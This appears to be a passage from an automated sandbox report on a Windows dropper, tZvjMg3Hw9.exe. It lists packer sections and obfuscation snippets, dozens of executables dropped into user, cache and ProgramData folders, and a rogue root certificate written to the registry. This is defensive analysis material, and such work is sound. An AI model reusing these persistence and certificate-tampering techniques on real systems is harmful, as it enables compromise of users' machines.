Source: 7725eaa6592c80f8124e769b4e8a07f7[1].exe.0.dr	Static PE information: real checksum: 0x42bca6 should be: 0x4331ad
Source: ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x5f719
Source: setup[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x74b751
Source: TrIR3OjzF5zT6wur9yJ59R0V.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x1458c
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x3157b5
Source: FXnrFSfIY3onUvtSB3cuKesF.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x4e3d77
Source: bbd637be[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x32634
Source: 060[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x4e3d77
Source: cad54ba5b01423b1af8ec10ab5719d97[1].exe.0.dr	Static PE information: real checksum: 0x42bca6 should be: 0x4364e3
Source: N_fzNzObxT0UJ9JQqz4nPKUC.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x32634
Source: gEsYklrF8leHWug4608tQIe6.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x74b751
Source: _MpzZq9udo_WMns6EY9VnO9e.exe.0.dr	Static PE information: real checksum: 0x42bca6 should be: 0x4364e3
Source: vLezrpzeJwHmxmMpZ0dBr09m.exe.0.dr	Static PE information: real checksum: 0x42bca6 should be: 0x4331ad
Source: buben[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x3157b5

PE file contains sections with non-standard names

Source: tZvjMg3Hw9.exe	Static PE information: section name:
Source: tZvjMg3Hw9.exe	Static PE information: section name:
Source: tZvjMg3Hw9.exe	Static PE information: section name: .themida
Source: Space1.9_menu[1].exe.0.dr	Static PE information: section name: .MPRESS1
Source: Space1.9_menu[1].exe.0.dr	Static PE information: section name: .MPRESS2
Source: tDrDIT3EJ93dpzmmxTIMr4ah.exe.0.dr	Static PE information: section name: .MPRESS1
Source: tDrDIT3EJ93dpzmmxTIMr4ah.exe.0.dr	Static PE information: section name: .MPRESS2
Source: 123p[1].exe.0.dr	Static PE information: section name: .00cfg
Source: 123p[1].exe.0.dr	Static PE information: section name: .text0
Source: 123p[1].exe.0.dr	Static PE information: section name: .text1
Source: 123p[1].exe.0.dr	Static PE information: section name: .text2
Source: c7pGL4_L_P3yOlPkhT4UG9k1.exe.0.dr	Static PE information: section name: .00cfg
Source: c7pGL4_L_P3yOlPkhT4UG9k1.exe.0.dr	Static PE information: section name: .text0
Source: c7pGL4_L_P3yOlPkhT4UG9k1.exe.0.dr	Static PE information: section name: .text1
Source: c7pGL4_L_P3yOlPkhT4UG9k1.exe.0.dr	Static PE information: section name: .text2
Source: Default15_big[1].exe.0.dr	Static PE information: section name: .MPRESS1
Source: Default15_big[1].exe.0.dr	Static PE information: section name: .MPRESS2
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .MPRESS1
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .MPRESS2
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: setup[1].exe.0.dr	Static PE information: section name: .sxdata
Source: lrPP7Py6j59vWWqs5P8cBSO1.exe.0.dr	Static PE information: section name: .MPRESS1
Source: lrPP7Py6j59vWWqs5P8cBSO1.exe.0.dr	Static PE information: section name: .MPRESS2
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe.0.dr	Static PE information: section name: .MPRESS1
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe.0.dr	Static PE information: section name: .MPRESS2
Source: gEsYklrF8leHWug4608tQIe6.exe.0.dr	Static PE information: section name: .sxdata
Source: ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.0.dr	Static PE information: section name: .Right
Source: 1sMfNqnOFjTOadWc0yClvu5P.exe.0.dr	Static PE information: section name: .Right
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name: .themida
Source: dckuybanmlgp.exe.9.dr	Static PE information: section name: .00cfg
Source: dckuybanmlgp.exe.9.dr	Static PE information: section name: .text0
Source: dckuybanmlgp.exe.9.dr	Static PE information: section name: .text1
Source: dckuybanmlgp.exe.9.dr	Static PE information: section name: .text2

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BB818 push esi; iretd	0_3_041BB837
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BB818 push esi; iretd	0_3_041BB837
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D5CB8 push 00408ECBh; ret	0_3_041D5CE3
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BA910 push cs; iretd	0_3_041BA917
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BA910 push cs; iretd	0_3_041BA917
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D1108 push 00404391h; ret	0_3_041D11A9
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BE60C push cs; ret	0_3_041BE60F
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BE60C push cs; ret	0_3_041BE60F
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041B965C push esi; ret	0_3_041B96B8
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041B965C push esi; ret	0_3_041B96B8
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BCE43 push ebx; retf	0_3_041BCE65
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BCE43 push ebx; retf	0_3_041BCE65
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D4E84 push ecx; mov dword ptr [esp], eax	0_3_041D4E89
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D3338 push 00406555h; ret	0_3_041D336D
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BAB8D push edx; retf	0_3_041BAC0A
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BAB8D push edx; retf	0_3_041BAC0A
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BB818 push esi; iretd	0_3_041BB837
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BB818 push esi; iretd	0_3_041BB837
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D5CB8 push 00408ECBh; ret	0_3_041D5CE3
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BA910 push cs; iretd	0_3_041BA917
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BA910 push cs; iretd	0_3_041BA917
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D1108 push 00404391h; ret	0_3_041D11A9
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BE60C push cs; ret	0_3_041BE60F
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BE60C push cs; ret	0_3_041BE60F
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041B965C push esi; ret	0_3_041B96B8
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041B965C push esi; ret	0_3_041B96B8
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BCE43 push ebx; retf	0_3_041BCE65
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BCE43 push ebx; retf	0_3_041BCE65
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D4E84 push ecx; mov dword ptr [esp], eax	0_3_041D4E89
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D3338 push 00406555h; ret	0_3_041D336D
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BAB8D push edx; retf	0_3_041BAC0A

Source: tZvjMg3Hw9.exe	Static PE information: section name: entropy: 7.705476439156376
Source: buben[1].exe.0.dr	Static PE information: section name: entropy: 7.999649688016574
Source: buben[1].exe.0.dr	Static PE information: section name: entropy: 7.99052780466811
Source: buben[1].exe.0.dr	Static PE information: section name: entropy: 7.820875432384983
Source: buben[1].exe.0.dr	Static PE information: section name: entropy: 7.992787647902555
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name: entropy: 7.999649688016574
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name: entropy: 7.99052780466811
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name: entropy: 7.820875432384983
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name: entropy: 7.992787647902555
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name: entropy: 7.999611881196484

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\vLezrpzeJwHmxmMpZ0dBr09m.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\ijWSnAA5feFcALhcRIb98yTf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\_MpzZq9udo_WMns6EY9VnO9e.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Jump to dropped file

Installs new ROOT certificates

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob

Drops PE files

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\mousehelper.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\libcurl.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Space1.9_menu[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-L54T1.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cad54ba5b01423b1af8ec10ab5719d97[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\123p[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File created: C:\ProgramData\MPGPH131\MPGPH131.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\buben[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File created: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	File created: C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-L99RE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-E8REQ.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-1NPB1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-INE33.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-Q23S7.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	File created: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\msvcp140_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-5MHG6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\Qt5WinExtras.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\7725eaa6592c80f8124e769b4e8a07f7[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\msvcp120.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe	File created: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\avdevice-58.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\libmp3lame.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\msvcp140.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\QtAVWidgets1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-L6RND.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Retailer_prog[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\bbd637be[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-FLU1L.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-9KGTB.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\_MpzZq9udo_WMns6EY9VnO9e.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Default15_big[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sqlx[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-P9O5E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\softjenimmp3converter.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\Qt5Xml.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\Qt5Svg.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\timeSync[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\vLezrpzeJwHmxmMpZ0dBr09m.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-8JVHL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\openh264.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-P0TNH.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\setup[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-HI6SG.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\060[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-0UKVK.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	File created: C:\Users\user\AppData\Local\Temp\7zS933D.tmp\Install.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\ijWSnAA5feFcALhcRIb98yTf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-ARFBB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\msvcr120.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Jump to dropped file

Drops PE files to the application program directory (C:\ProgramData)

Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File created: C:\ProgramData\MPGPH131\MPGPH131.exe			Jump to dropped file
